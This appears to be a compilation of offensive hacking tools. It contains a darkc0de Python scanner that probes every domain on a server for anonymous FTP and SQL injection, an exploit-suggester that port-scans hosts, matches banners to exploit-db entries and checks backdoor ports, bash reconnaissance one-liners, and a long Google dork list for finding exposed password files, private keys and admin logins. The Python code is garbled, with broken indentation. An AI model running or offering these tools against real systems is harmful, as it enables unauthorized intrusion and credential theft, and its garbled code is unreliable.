Sub Domain sql-ftp scanner serverchk version 1.0

import commands, sys, getopt, StringIO, re, ftplib,urllib,HTMLParser,socket,string,StringIO,sets
from ftplib import *
from HTMLParser import HTMLParser
from urllib2 import urlopen
#!/usr/bin/python
################################################################
#       .___             __          _______       .___        #
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    #
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   #
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   #
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   #
#        \/                  \/             \/                 #
#                   ___________   ______  _  __                #
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                #
#                 \  \___|  | \/\  ___/\     /                 #
#                  \___  >__|    \___  >\/\_/                  #
#      est.2007        \/            \/   forum.darkc0de.com   #
################################################################
# Greetz to all Darkc0de AH,ICW Memebers
#Darkc0de-d3hydra,beenu,hubysoft,Gatyi,
#Shoutz to ICW-:r45c4l,SMART_HAX0R,j4ckh4x0r,41w@r10r,micro,cyber_mafi,Hoodlum
#Gud Luck to:d4Rk 4n931
class checkp(HTMLParser):
    def __init__(self, ldomain, scandpth, lps):
        HTMLParser.__init__(self)
        self.url = ldomain
        self.db = {self.url: 1}
        self.node = [self.url]

        self.depth = scandpth
        self.max_span = lps
        self.links_found = 0

    def handle_starttag(self, tag, attrs):
        if self.links_found < self.max_span and tag == 'a' and attrs:
            link = attrs[0][1]
            if link[:4] != "http":
                link = '/'.join(self.url.split('/')[:3])+('/'+link).replace('//','/')

            if link not in self.db:
                print "Found Link ---> %s" % link
                self.links_found += 1
                self.node.append(link)
            self.db[link] = (self.db.get(link) or 0) + 1

    def deep(self):
        for depth in xrange(self.depth):
            print "*"*70+("\nScanning depth %d web\n" % (depth+1))+"*"*70
            context_node = self.node[:]
            self.node = []
            for self.url in context_node:
                self.links_found = 0
                try:
                    req = urlopen(self.url)
                    res = req.read()
                    self.feed(res)
                except:
                    self.reset()
        print "*"*40 + "\nRESULTS\n" + "*"*40
        sor = [(v,k) for (k,v) in self.db.items()]
        sor.sort(reverse = True)
        return sor

   
def sqlcheck(link):
   
    try:
        print "sqling checking"
        error="Warning"
        mysql ="mysql_fetch_array()"
        mysql2 ="mysql_fetch_array()"
    mysql3 ="You have an error in your SQL syntax"
        mssql= "Unclosed quotation mark after the character string"
        mssql2="Server Error in '/' Application"
        mssql3="Microsoft OLE DB Provider for ODBC Drivers error"
        oracle="supplied argument is not a valid OCI8-Statement"
        jetdb ="microsoft jet database engine"
        domain =link
    sqli=[]
        try:
        if domain.count("=") >= 2:
        for x in xrange(domain.count("=")):
            sqli.append(domain.rsplit("=",x+1)[0]+"=")
           
        if domain.find("=") != -1:   
            sqli.append(domain.split("=",1)[0]+"=")   
        else:
            sqli.append(domain.split("=",1)[0]+"=")
        except() ,msg: print error
           
        sqli = list(sets.Set(sqli))
        print "[+] Checking :",len(sqli),"links\n"
        for slinks in sqli:
        print '+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
        resp =urllib.urlopen(slinks+"-1'").read(200000)
        print  slinks+"-1'"
        if re.search(error, resp) != None:
            print " FOUND UNKNOWN BUG IN THIS GET REQUEST "
            if re.search(mysql, resp) != None:
            print " FOUND MYSQL BUG IN THIS GET REQUEST "
            if re.search(mysql2, resp) != None:
            print " FOUND MYSQL BUG IN THIS GET REQUEST "
            if re.search(mssql, resp) != None:
            print " FOUND MSSQL BUG IN THIS GET REQUEST "
            if re.search(mssql2, resp) != None:
            print " FOUND MSSQL BUG IN THIS GET REQUEST "
        if re.search(mssql3, resp) != None:
                print " FOUND MSSQL BUG IN THIS GET REQUEST "
            if re.search(oracle, resp) != None:
            print " FOUND ORACLE BUG IN THIS GET REQUEST "
            if re.search(jetdb, resp) != None:
            print " FOUND JET DATA BASE BUG IN THIS GET REQUEST "
        if re.search(mysql3, resp) != None:
            print "FOUND MYSQL BUG IN THIS GET REQUEST "
        print '+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'    
    except(IOError) ,msg: print 'erro'

def ftpcheck(ftpdn):
    try:
    ftp=FTP(ftpdn)
        ftp.login()
        ftp.retrlines('list')
    print "\nAnonymous loging possible: Try running a make directory command"
    except(ftplib.all_errors),msg: print "Anonymous not Possible||Or Unknown Error"
print "[+]Web Server Application SQL Vulnerability Scanner Version 1.0 by FB1H2S"
print "[+]Scans every sub domains of the given web site for SQL/FTP bugs"
print "[+]Report Bugs at fbone@in.com"
domain=raw_input("[+]Enter doamin adress:")
reverse=socket.gethostbyaddr(domain)
ip=str(reverse[2])
ip = ip[2:-2]
print '[+]Server ip[-]'+ip
url ='http://www.ipnear.com/results.php?s='+ip+'&submit=Lookup'
result = urllib.urlopen(url).read(200000)
linksList = re.findall('href=(.*?)>.*?',result)
print '[+]Checking anonymous FTP acess[+]'
ftpcheck(ip)
print '[+]Retrive Domains[+]'
raw_input('[+]Press Enter to Continue')
for link in linksList:
    strip = link[1:-1]  
    domain = strip[7:-1]
    print domain
yes=raw_input('Do u wish to check sudoamins for anonymous ftp: Y|continue: N |Skip:')
if yes=='y' or yes=='Y':
    for link in linksList:
    strip = link[1:-1]
        domain = strip[7:-1]
        print '\nFtp::'+domain+':'
        ftpcheck(domain)
elif yes=='N'or yes=='n':
    print 'Ftp check abroted[+]'
    print 'Crwling web pages for SQLing[+]'
for link in linksList:
    strip = link[1:-1]
    domain = strip[7:-1]
    print "Geting links of :->"+domain
    try:
    httpdmn='http://'+domain
    # change the scandpth value to increase the crawling depths
    check1 = checkp(ldomain = httpdmn, scandpth = 3, lps = 15)
        result = check1.deep()
        for (n,link) in result:
        if link.find("=") != -1:
        if link.find(httpdmn)!=-1:
            print "%s was found %d time%s." %(link,n, "s" if n is not 1 else "")
                    sqlcheck(link)
    except(IOError) ,msg: print 'skiped'  

  

Exploit-suggester

#!/usr/bin/python
################################################################
#       .___             __          _______       .___        #
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    #
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   #
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   #
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   #
#        \/                  \/             \/                 #
#                   ___________   ______  _  __                #
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                #
#                 \  \___|  | \/\  ___/\     /                 #
#                  \___  >__|    \___  >\/\_/                  #
#      est.2007        \/            \/   forum.darkc0de.com   #
###########################################################################################
# Greetz to all Darkc0de Andhra Hackers,ICW Memebers                                      #
#Darkc0de      : d3hydra,rasuron,nd all darkcode crew                                     #
#Hackers Grage  : Mr_B0nd,Wipu,GOdwinAugstin,beenu,hubysoft,Mr_H@x0r,r45c4l               #
#Shoutz ICw       : SMART_HAX0R,j4ckh4x0r,41w@r10r,micro,MR xxxx,Hackin,Hoodlum,Dark_blue,#
###########################################################################################
############################FB1h2s#########################################################
# [-]Exploit Suggester BY FB1H2S Exploitsug.py    -->:An Update 4 my serverchk.py #             http://darkc0de.com/others/Serverchk.py
#[+]Port scan                                    -->:Tcp scan + SIN-ACK scan (using scapy not shiped default ping #                                                    me if u wann SIN-ACK)
#[+]Advance Banner Graber                        -->:Captures banners perfectly
#[+]Port Based and Banner Based Exploit Finder   -->:Finds Matching exploits form exploitdb based on ports nd #                                                    Banner
#[+]Looks for Backdoor's                         -->:Default Port opned On previous intrusions
#[+]Tool give a good structure of working exploits
import string, sys, time, urllib2,urllib,cookielib,re,random,threading,socket,httplib,os
port=0
def banner_match(banner):
      try:
            banner_r=banner.strip('\n')
            FILE=open("vuln.txt","r")
            banner_rf=FILE.readlines()
            for banners in banner_rf:
                  if re.search(banners[:-1].lower(),banner.lower()):
                        return banners
            else:
                  en_banner=raw_input("Enter the Service Version If u have any idea:")
                  if (en_banner !=None):
                        return en_banner
                  else:
                        return
      except: pass
     

def fetch_exp(banner,port):
      #banner_rec="OpenSSH"
      #port=0
      print "\nFetching Exploits:"+banner
      header = ['Mozilla/5.0 (compatible; MSIE 5.5; Windows NT 5.0)',
                'Mozilla/5.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
                'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
                'Microsoft Internet Explorer/4.0b1 (Windows NT 5.0)']
      cj = cookielib.FileCookieJar("cookies")
      des=banner.strip('\n')
      port=port
      if(port==0):
            result_0web ='http://www.exploit-db.com/list.php?description='+des+'&author=&platform=&type=&port=&osvdb=&cve='
      elif(len(des)==0 and port!=0):
        result_0web ='http://www.exploit-db.com/list.php?description=&author=&platform=&type=&port='+repr(port)+'&osvdb=&cve='
      elif(len(des)==0 and port==0):
        return
      else:     
            result_0web ='http://www.exploit-db.com/list.php?description='+des+'&author=&platform=&type=&port='+repr(port)+'&osvdb=&cve='
      exp_url=result_0web.replace(" ","+")
      #print exp_url
      try:
           
            exp_request = urllib2.Request(exp_url)
            agent = random.choice(header)
            exp_request.add_header('User-Agent', agent)
            exp_open = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
            text = exp_open.open(exp_request).read()
            text=text.replace("\n","end")
            strreg = re.compile("(?<=href=')(.*?)(?=')")
            li=re.findall("(?<=_blank)(.*?)(?<=end)",text)
            li1=re.findall("(?<=_blank)(.*?)(?<=/a)",text)
            names = strreg.findall(text)
            li.append(li1)
            i=0
            j=0
            for name in names:
                  try:
                        if '/exploit' in name:
                              print '-->'+name.strip('rss.php')
                              print i
                              print '[-]'+li[i].replace("end","---->")
                              i=i+1
            #else: print "Nothing Found:'                               
                  except: pass
      except:print "Failed:Check Internet Connection"
     
def http_b(ip):
      try:
        conn = httplib.HTTPConnection(ip)
        conn.request("HEAD", "/")
        res = conn.getresponse()
            return res.getheader("server")
      except():print 'error'

def exploitscaner(ip):
      ports=([21,22,23,24,25,63,80,110,135,139,143,445,8080,1433,1723,3306,3389,5900])#These are the ports i alway find sucess with so just limitin the scan
      http = "80"#21,22,23,24,25,63,80,110,135,139,143,445,8080,1433,1723,3306,3389,5900
      #webbdrs=([31373,4444,5555])#c99,metsploit,addmore
      port_based=[]
      banner_baser=[]
      #22,23,24,25,63,80,110,80,139,445,8080,1433,1723,5900,1433,3306,3389,
      for scanport in ports:
        sockp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
          sockp.connect((ip,scanport))
          print "*"*70
          print "%s:%d OPEN" % (ip,scanport)
          li.append(scanport)
          #BOP--:Based on Port no
          if scanport==80:
            sockp.close()
            banner=http_b(ip)
            banner=banner.replace("-","+")
            banner=banner.replace("/","+")
                fetch_exp(banner,port=0)
          elif scanport==135:
            sockp.close()
            print "[+]Microsft ds port"
            fetch_exp(banner='',port=135)
          elif scanport==139:
            sockp.close()
            print "[+]Microsoft Netbios"
            fetch_exp(banner='',port=139)
          elif scanport==445:
            sockp.close()
            print "[+]Microsoft smb_tcp"
            fetch_exp(banner='',port=445)
          elif scanport==3389:
            print "[+]Microsoft Remote Desktop"
            print "\nTry MS05-041, MS09-044"
          elif scanport==5900:
            print "[+]Remote Desktop Vnc Viewer"
            fetch_exp(banner='vnc',port=5900)
          elif scanport==1433:
            sockp.close()
            print "[+]Microsoft SQL Server"
            r="microsoft+sql"
            fetch_exp(banner=r,port=0)
          elif scanport==1521:
            sockp.close()
            print "[+]Oracle SQL Server"
            fetch_exp(banner='oracle',port=1521)
          elif scanport==3306:
            sockp.close()
            print "[+]MYSQL Server"   
            fetch_exp(banner='mysql',port=3306)
          else:
            #sockp.send('sas sas') taught of sending some packets :
            #BOB-:Based On Banner
            banner = sockp.recv(50)
            sockp.close()
            if(len(banner)>3):
                  print "[+] Running:",banner,"\n"
                  banner=banner_match(banner)
                  port=scanport
                  fetch_exp(banner,scanport)
           
              print "*"*70
            except: pass     
def back_dor(ip):
      try:
        ip=ip
        webbdrs=([31373,4444,5555])#c99,metsploit,add more
        for po in webbdrs:
          sockb = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          sockb.connect((ip,po))
          print "%s:%d OPEN" % (ip,po)
       
      except:pass
       
print "[+]Exploit Suggester Version 1.0 by FB1H2S"
print "[+]Port scan a Host and List All Matching exploit form Exploit_db"
print "[+]Report Bugs at fbone@in.com"
print "[+]Now find all Remote Root or Remote DOS Exploits with Exploit-Suggester"
if os.path.isfile("vuln.txt"):
      ip=raw_input("Enter the IP/Domain:")
      file = open(ip+'.txt', "a")
      file.write("\n|------------------------------------------------|")
      file.write("\n|   FB1H2S Exploit_Suggester   Ver 1.0           |")
      file.write("\n|   Port Scan and Find all Eatching Exploits     |")
      file.write("\n|   Uses Exploit_db to Match Exploits            |")
      if len(ip) >3:
       
        li=[]
        exploitscaner(ip)
        print '\n[+]open ports:'
        for portop in li:
          print portop
        print "\n[+]Scanning Backdoor's "
        back_dor(ip)
        print ip+".txt For the Scan details"
else:
      print "\n:( Banner matching File 'Vuln.txt' missing\n"
      print ":) Download it and put it in the running directory"
      print "http://www.ziddu.com/download/8031492/vuln.txt.html"

Hacking scripts

#netcat scanner for HTTP servers
for i in $(seq 1 255); do nc -n -v -z "192.168.1.$i" 80 | grep "open"; done | tee webservers.txt

# Manually perform a HTTP Get Request
echo -ne "GET / HTTP/1.0\n\n" | nc www.redspin.com 80

# Manually perform a HTTP Get Request on a SSL Port
echo -ne "GET / HTTP/1.0\n\n" | socat – OPENSSL:www.website.com:443,verify=0

# Create a local TCP pipe to a remote SSL port (to allow netcat to probe a SSL service)
socat -vd TCP-LISTEN:8888,fork OPENSSL:www.redspin.com:443,verify=0

# Always connect to a given webserver PORT regardless if it is SSL or normal HTTP
(curl -iks -m2 "https://www.redspin.com:PORT" || curl -iks -m2 "www.redspin.com:PORT")

# Perform a check on a list of webservers (HTTP or HTTPS): HOST:PORT -> HOST:PORT|WEB SERVER|HTML Title
# Includes a 2 seconds timeout using curl's -m2, and parallelization using xargs's -P10
cat webservers.txt | xargs -P10 -I'{}' bash -c '(curl -Liks -m2 "https://{}" || curl -Liks -m2 "{}") | grep -iao -e "^Server: .*" -e "" | sed "s#Server: \(.*\)#|\1|#i;s###ig" | tr -d "\r\n" | sed "1s/^/{}/;\$a\\" | sed "s/^\([^|]*\)|$/\1||/"' | tee webserver_info.txt

# Check if Trace is enabled on a given website
echo -ne "TRACE /something HTTP/1.0\nX-Header: Trace Enabled\n\n" | socat - OPENSSL:www.website.com:443,verify=0

# Check for the insecure SSLv2 protocol on a website
echo -e '' | openssl s_client -connect WEBSITE:PORT -ssl2 -no_ssl3 -no_tls1 2>/dev/null | grep 'SSLv2'

# Bruteforce a given numerical webpath, printing the HTTP status code for each request
for ((i=0;i/dev/null | grep HTTP/1.1) | tee webbf.txt ; done

# Simple HTTP Listener
python -m SimpleHTTPServer

# Simple HTTPS (SSL) Listener without a server certificate
sudo openssl s_server -accept 443 -nocert

# Simple HTTPS (SSL) Listener with a bad self-signed server certificate
echo -ne "\n\n\n\n\n\n\n" | openssl req -new -newkey rsa:1024 -days 1 -nodes -x509 -keyout out.pem -out out.pem ; openssl s_server -cert out.pem -www


# Sort by IP Addresses
sort -n -t. -k1,1 -k2,2 -k3,3 -k4,4

# Sort by IP Addresses and Port like IP:PORT
sed 's#:#.#' | sort -n -t. -k1,1 -k2,2 -k3,3 -k4,4 -k5,5 | sed 's#\(\([0-9]\{1,3\}\.\)\{4\}\)#\1:#;s#\.:#:#'

# IP2HOST: IP -> IP (HOST) using 'bind-host' package built into Ubuntu
for i in $(cat ips.txt); do echo "$i ("`host $i | grep -v NXDOMAIN | cut -d' ' -f5`")"; done | sort -n -t. -k1,1 -k2,2 -k3,3 -k4,4 | sed 's#()##' | tee ip_hosts.txt

# HOST2IP: HOST -> IP (HOST) using 'host' package available in Ubuntu
for i in $(cat hosts.txt); do host `echo "$i" | tr -d [[:blank:]]` | grep -v -e 'alias' -e 'handled' -e 'timed' | sed 's/Host \(.*\) .*/\1 0.0.0.0/' | sed "s/;;.*/$i - - 0.0.0.0/" | awk -F' ' '{printf "%s (%s)\n",$4,$1}'; done | sort -n -t. -k1,1 -k2,2 -k3,3 -k4,4 | tee ip_hosts.txt

#Print IP addresses in a file
egrep -o '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}'

# Print IP addresses in a file: Perl edition
perl -nle 'print $& if /(\d{1,3}\.){3}\d{1,3}/'

# Print IP address in all files in the current directory tree with some pretty color matching
find . -type f -exec egrep -a -H -n --color=auto '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}' {} \;

Google hacking master list

Dan Morrill (Program Director CityU of Seattle) posted 11/14/2008 | Comments (2)
This master list of Google Hacking command sets has show up on a forum in Russia, as well as on Scribd. While we often forget about Google hacking, and rarely use it against our own sites, a list like this is going to keep the kids happy as they merrily pound their way through Google to your systems. This makes the data much more accessible than at Johnny I hack stuff.

There are some drawbacks in how Johnny I hack stuff works, you have to do a lot of clicking to get to the right hacks. This master list also includes things I have not seen or tried yet meaning that the body of knowledge for Google hacks is still being expanded upon. It has been a while since a really good Google hack has come out, but this list promises to keep me busy for a while.

Check it out, here is a copy of the master list in case you do not want to go to a hacker forum in Russia, or do not want to sign up for a scribd account (the only way to download it or cut and paste the document in Scribd is to make an account).

Code:

"admin account info" filetype:log
!Host=*.* intext:enc_UserPassword=* ext:pcf
"# -FrontPage-" ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-" inurl:service.pwd
"AutoCreate=TRUE password=*"
"http://*:*@www" domainname
"index of/" "ws_ftp.ini" "parent directory"
"liveice configuration file" ext:cfg -site:sourceforge.net
"parent directory" +proftpdpasswd
Duclassified" -site:duware.com "DUware All Rights reserved"
duclassmate" -site:duware.com
Dudirectory" -site:duware.com
dudownload" -site:duware.com
Elite Forum Version *.*"
Link Department"
"sets mode: +k"
"your password is" filetype:log
DUpaypal" -site:duware.com
allinurl: admin mdb
auth_user_file.txt
config.php
eggdrop filetype:user user
enable password | secret "current configuration" -intext:the
etc (index.of)
ext:asa | ext:bak intext:uid intext:pwd -"uid..pwd" database | server | dsn
ext:inc "pwd=" "UID="
ext:ini eudora.ini
ext:ini Version=4.0.0.4 password
ext:passwd -intext:the -sample -example
ext:txt inurl:unattend.txt
ext:yml database inurl:config


filetype:bak createobject sa
filetype:bak inurl:"htaccess|passwd|shadow|htusers"
filetype:cfg mrtg "target
filetype:cfm "cfapplication name" password
filetype:conf oekakibbs
filetype:conf slapd.conf
filetype:config config intext:appSettings "User ID"
filetype:dat "password.dat"
filetype:dat inurl:Sites.dat
filetype:dat wand.dat
filetype:inc dbconn
filetype:inc intext:mysql_connect
filetype:inc mysql_connect OR mysql_pconnect
filetype:inf sysprep
filetype:ini inurl:"serv-u.ini"
filetype:ini inurl:flashFXP.ini
filetype:ini ServUDaemon
filetype:ini wcx_ftp
filetype:ini ws_ftp pwd
filetype:ldb admin
filetype:log "See `ipsec --copyright"
filetype:log inurl:"password.log"
filetype:mdb inurl:users.mdb
filetype:mdb wwforum
filetype:netrc password
filetype:pass pass intext:userid
filetype:pem intext:private
filetype:properties inurl:db intext:password
filetype:pwd service
filetype:pwl pwl
filetype:reg reg +intext:"defaultusername" +intext:"defaultpassword"
filetype:reg reg +intext:â? WINVNC3â?
filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS
filetype:sql "insert into" (pass|passwd|password)
filetype:sql ("values * MD5" | "values * password" | "values * encrypt")
filetype:sql +"IDENTIFIED BY" -cvs
filetype:sql password
filetype:url +inurl:"ftp://" +inurl:";@"
filetype:xls username password email

htpasswd
htpasswd / htgroup
htpasswd / htpasswd.bak

intext:"enable password 7"
intext:"enable secret 5 $"
intext:"EZGuestbook"
intext:"Web Wiz Journal"

intitle:"index of" intext:connect.inc
intitle:"index of" intext:globals.inc
intitle:"Index of" passwords modified
intitle:"Index of" sc_serv.conf sc_serv content
intitle:"phpinfo()" +"mysql.default_password" +"Zend s?ri?ting Language Engine"
intitle:dupics inurl:(add.asp | default.asp | view.asp | voting.asp) -site:duware.com
intitle:index.of administrators.pwd
intitle:Index.of etc shadow
intitle:index.of intext:"secring.skr"|"secring.pgp"|"secring.bak"
intitle:rapidshare intext:login



inurl:"calendars?ri?t/users.txt"
inurl:"editor/list.asp" | inurl:"database_editor.asp" | inurl:"login.asa" "are set"
inurl:"GRC.DAT" intext:"password"
inurl:"Sites.dat"+"PASS="
inurl:"slapd.conf" intext:"credentials" -manpage -"Manual Page" -man: -sample
inurl:"slapd.conf" intext:"rootpw" -manpage -"Manual Page" -man: -sample
inurl:"wvdial.conf" intext:"password"
inurl:/db/main.mdb
inurl:/wwwboard
inurl:/yabb/Members/Admin.dat
inurl:ccbill filetype:log
inurl:cgi-bin inurl:calendar.cfg
inurl:chap-secrets -cvs
inurl:config.php dbuname dbpass
inurl:filezilla.xml -cvs
inurl:lilo.conf filetype:conf password -tatercounter2000 -bootpwd -man
inurl:nuke filetype:sql
inurl:ospfd.conf intext:password -sample -test -tutorial -download
inurl:pap-secrets -cvs
inurl:pass.dat
inurl:perform filetype:ini
inurl:perform.ini filetype:ini
inurl:secring ext:skr | ext:pgp | ext:bak
inurl:server.cfg rcon password
inurl:ventrilo_srv.ini adminpassword
inurl:vtund.conf intext:pass -cvs
inurl:zebra.conf intext:password -sample -test -tutorial -download

LeapFTP intitle:"index.of./" sites.ini modified
master.passwd
mysql history files
NickServ registration passwords
passlist
passlist.txt (a better way)
passwd
passwd / etc (reliable)
people.lst
psyBNC config files
pwd.db
server-dbs "intitle:index of"
signin filetype:url
spwd.db / passwd
trillian.ini
wwwboard WebAdmin inurl:passwd.txt wwwboard|webadmin
[WFClient] Password= filetype:ica
intitle:"remote assessment" OpenAanval Console
intitle:opengroupware.org "resistance is obsolete" "Report Bugs" "Username" "password"
"bp blog admin" intitle:login | intitle:admin -site:johnny.ihackstuff.com
"Emergisoft web applications are a part of our"
"Establishing a secure Integrated Lights Out session with" OR intitle:"Data Frame - Browser not HTTP 1.1 compatible" OR intitle:"HP Integrated Lights-
"HostingAccelerator" intitle:"login" +"Username" -"news" -demo
"iCONECT 4.1 :: Login"
"IMail Server Web Messaging" intitle:login
"inspanel" intitle:"login" -"cannot" "Login ID" -site:inspediumsoft.com
"intitle:3300 Integrated Communications Platform" inurl:main.htm
"Login - Sun Cobalt RaQ"
"login prompt" inurl:GM.cgi
"Login to Usermin" inurl:20000
"Microsoft CRM : Unsupported Browser Version"
"OPENSRS Domain Management" inurl:manage.cgi
"pcANYWHERE EXPRESS Java Client"
"Please authenticate yourself to get access to the management interface"
"please log in"
"Please login with admin pass" -"leak" -sourceforge



CuteNews" "2003..2005 CutePHP"
DWMail" password intitle:dwmail
Merak Mail Server Software" -.gov -.mil -.edu -site:merakmailserver.com
Midmart Messageboard" "Administrator Login"
Monster Top List" MTL numrange:200-
UebiMiau" -site:sourceforge.net
"site info for" "Enter Admin Password"
"SquirrelMail version" "By the SquirrelMail development Team"
"SysCP - login"
"This is a restricted Access Server" "Javas?ri?t Not Enabled!"|"Messenger Express" -edu -ac
"This section is for Administrators only. If you are an administrator then please"
"ttawlogin.cgi/?action="
"VHCS Pro ver" -demo
"VNC Desktop" inurl:5800
"Web-Based Management" "Please input password to login" -inurl:johnny.ihackstuff.com
"WebExplorer Server - Login" "Welcome to WebExplorer Server"
"WebSTAR Mail - Please Log In"
"You have requested access to a restricted area of our website. Please authenticate yourself to continue."
"You have requested to access the management functions" -.edu


(intitle:"Please login - Forums
UBB.threads")|(inurl:login.php "ubb")
(intitle:"Please login - Forums
WWWThreads")|(inurl:"wwwthreads/login.php")|(inurl:"wwwthreads/login.pl?Cat=")
(intitle:"rymo Login")|(intext:"Welcome to rymo") -family
(intitle:"WmSC e-Cart Administration")|(intitle:"WebMyStyle e-Cart Administration")
(inurl:"ars/cgi-bin/arweb?O=0" | inurl:arweb.jsp) -site:remedy.com -site:mil
4images Administration Control Panel
allintitle:"Welcome to the Cyclades"
allinurl:"exchange/logon.asp"
allinurl:wps/portal/ login
ASP.login_aspx "ASP.NET_SessionId"
CGI:IRC Login
ext:cgi intitle:"control panel" "enter your owner password to continue!"
ez Publish administration
filetype:php inurl:"webeditor.php"
filetype:pl "Download: SuSE Linux Openexchange Server CA"
filetype:r2w r2w
intext:""BiTBOARD v2.0" BiTSHiFTERS Bulletin Board"
intext:"Fill out the form below completely to change your password and user name. If new username is left blank, your old one will be assumed." -edu


intext:"Mail admins login here to administrate your domain."
intext:"Master Account" "Domain Name" "Password" inurl:/cgi-bin/qmailadmin
intext:"Master Account" "Domain Name" "Password" inurl:/cgi-bin/qmailadmin
intext:"Storage Management Server for" intitle:"Server Administration"
intext:"Welcome to" inurl:"cp" intitle:"H-SPHERE" inurl:"begin.html" -Fee
intext:"vbulletin" inurl:admincp


intitle:"*- HP WBEM Login" | "You are being prompted to provide login account information for *" | "Please provide the information requested and press
intitle:"Admin Login" "admin login" "blogware"
intitle:"Admin login" "Web Site Administration" "Copyright"
intitle:"AlternC Desktop"
intitle:"Athens Authentication Point"
intitle:"b2evo > Login form" "Login form. You must log in! You will have to accept cookies in order to log in" -demo -site:b2evolution.net
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button to co
intitle:"ColdFusion Administrator Login"
intitle:"communigate pro * *" intitle:"entrance"
intitle:"Content Management System" "user name"|"password"|"admin" "Microsoft IE 5.5" -mambo
intitle:"Content Management System" "user name"|"password"|"admin" "Microsoft IE 5.5" -mambo
intitle:"Dell Remote Access Controller"
intitle:"Docutek ERes - Admin Login" -edu
intitle:"Employee Intranet Login"
intitle:"eMule *" intitle:"- Web Control Panel" intext:"Web Control Panel" "Enter your password here."
intitle:"ePowerSwitch Login"
intitle:"eXist Database Administration" -demo
intitle:"EXTRANET * - Identification"
intitle:"EXTRANET login" -.edu -.mil -.gov
intitle:"EZPartner" -netpond
intitle:"Flash Operator Panel" -ext:php -wiki -cms -inurl:asternic -inurl:sip -intitle:ANNOUNCE -inurl:lists
intitle:"i-secure v1.1" -edu
intitle:"Icecast Administration Admin Page"
intitle:"iDevAffiliate - admin" -demo
intitle:"ISPMan : Unauthorized Access prohibited"
intitle:"ITS System Information" "Please log on to the SAP System"
intitle:"Kurant Corporation StoreSense" filetype:bok
intitle:"ListMail Login" admin -demo
intitle:"Login -


Easy File Sharing Web Server"
intitle:"Login Forum
AnyBoard" intitle:"If you are a new user:" intext:"Forum
AnyBoard" inurl:gochat -edu
intitle:"Login to @Mail" (ext:pl | inurl:"index") -dwaffleman
intitle:"Login to Cacti"
intitle:"Login to the forums - @www.aimoo.com" inurl:login.cfm?id=
intitle:"MailMan Login"
intitle:"Member Login" "NOTE: Your browser must have cookies enabled in order to log into the site." ext:php OR ext:cgi
intitle:"Merak Mail Server Web Administration" -ihackstuff.com
intitle:"microsoft certificate services" inurl:certsrv
intitle:"MikroTik RouterOS Managing Webpage"
intitle:"MX Control Console" "If you can't remember"
intitle:"Novell Web Services" "GroupWise" -inurl:"doc/11924" -.mil -.edu -.gov -filetype:pdf
intitle:"Novell Web Services" intext:"Select a service and a language."
intitle:"oMail-admin Administration - Login" -inurl:omnis.ch
intitle:"OnLine Recruitment Program - Login"
intitle:"Philex 0.2*" -s?ri?t -site:freelists.org
intitle:"PHP Advanced Transfer" inurl:"login.php"
intitle:"php icalendar administration" -site:sourceforge.net
intitle:"php icalendar administration" -site:sourceforge.net
intitle:"phpPgAdmin - Login" Language
intitle:"PHProjekt - login" login password
intitle:"please login" "your password is *"
intitle:"Remote Desktop Web Connection" inurl:tsweb
intitle:"SFXAdmin - sfx_global" | intitle:"SFXAdmin - sfx_local" | intitle:"SFXAdmin - sfx_test"
intitle:"SHOUTcast Administrator" inurl:admin.cgi
intitle:"site administration: please log in" "site designed by emarketsouth"
intitle:"Supero Doctor III" -inurl:supermicro
intitle:"SuSE Linux Openexchange Server" "Please activate Javas?ri?t!"
intitle:"teamspeak server-administration
intitle:"Tomcat Server Administration"
intitle:"TOPdesk ApplicationServer"
intitle:"TUTOS Login"
intitle:"TWIG Login"
intitle:"vhost" intext:"vHost . 2000-2004"
intitle:"Virtual Server Administration System"
intitle:"VisNetic WebMail" inurl:"/mail/"
intitle:"VitalQIP IP Management System"
intitle:"VMware Management Interface:" inurl:"vmware/en/"
intitle:"VNC viewer for Java"
intitle:"web-cyradm"|"by Luc de Louw" "This is only for authorized users" -tar.gz -site:web-cyradm.org
intitle:"WebLogic Server" intitle:"Console Login" inurl:console
intitle:"Welcome Site/User Administrator" "Please select the language" -demos
intitle:"Welcome to Mailtraq WebMail"
intitle:"welcome to netware *" -site:novell.com
intitle:"WorldClient" intext:"? (2003|2004) Alt-N Technologies."
intitle:"xams 0.0.0..15 - Login"
intitle:"XcAuctionLite" | "DRIVEN BY XCENT" Lite inurl:admin
intitle:"XMail Web Administration Interface" intext:Login intext:password
intitle:"Zope Help System" inurl:HelpSys
intitle:"ZyXEL Prestige Router" "Enter password"
intitle:"inc. vpn 3000 concentrator"
intitle:("TrackerCam Live Video")|("TrackerCam Application Login")|("Trackercam Remote") -trackercam.com
intitle:asterisk.management.portal web-access
intitle:endymion.sak?.mail.login.page | inurl:sake.servlet
intitle:Group-Office "Enter your username and password to login"
intitle:ilohamail "


IlohaMail"
intitle:ilohamail intext:"Version 0.8.10" "
IlohaMail"
intitle:IMP inurl:imp/index.php3
intitle:Login * Webmailer
intitle:Login intext:"RT is ? Copyright"
intitle:Node.List Win32.Version.3.11
intitle:Novell intitle:WebAccess "Copyright *-* Novell, Inc"
intitle:open-xchange inurl:login.pl
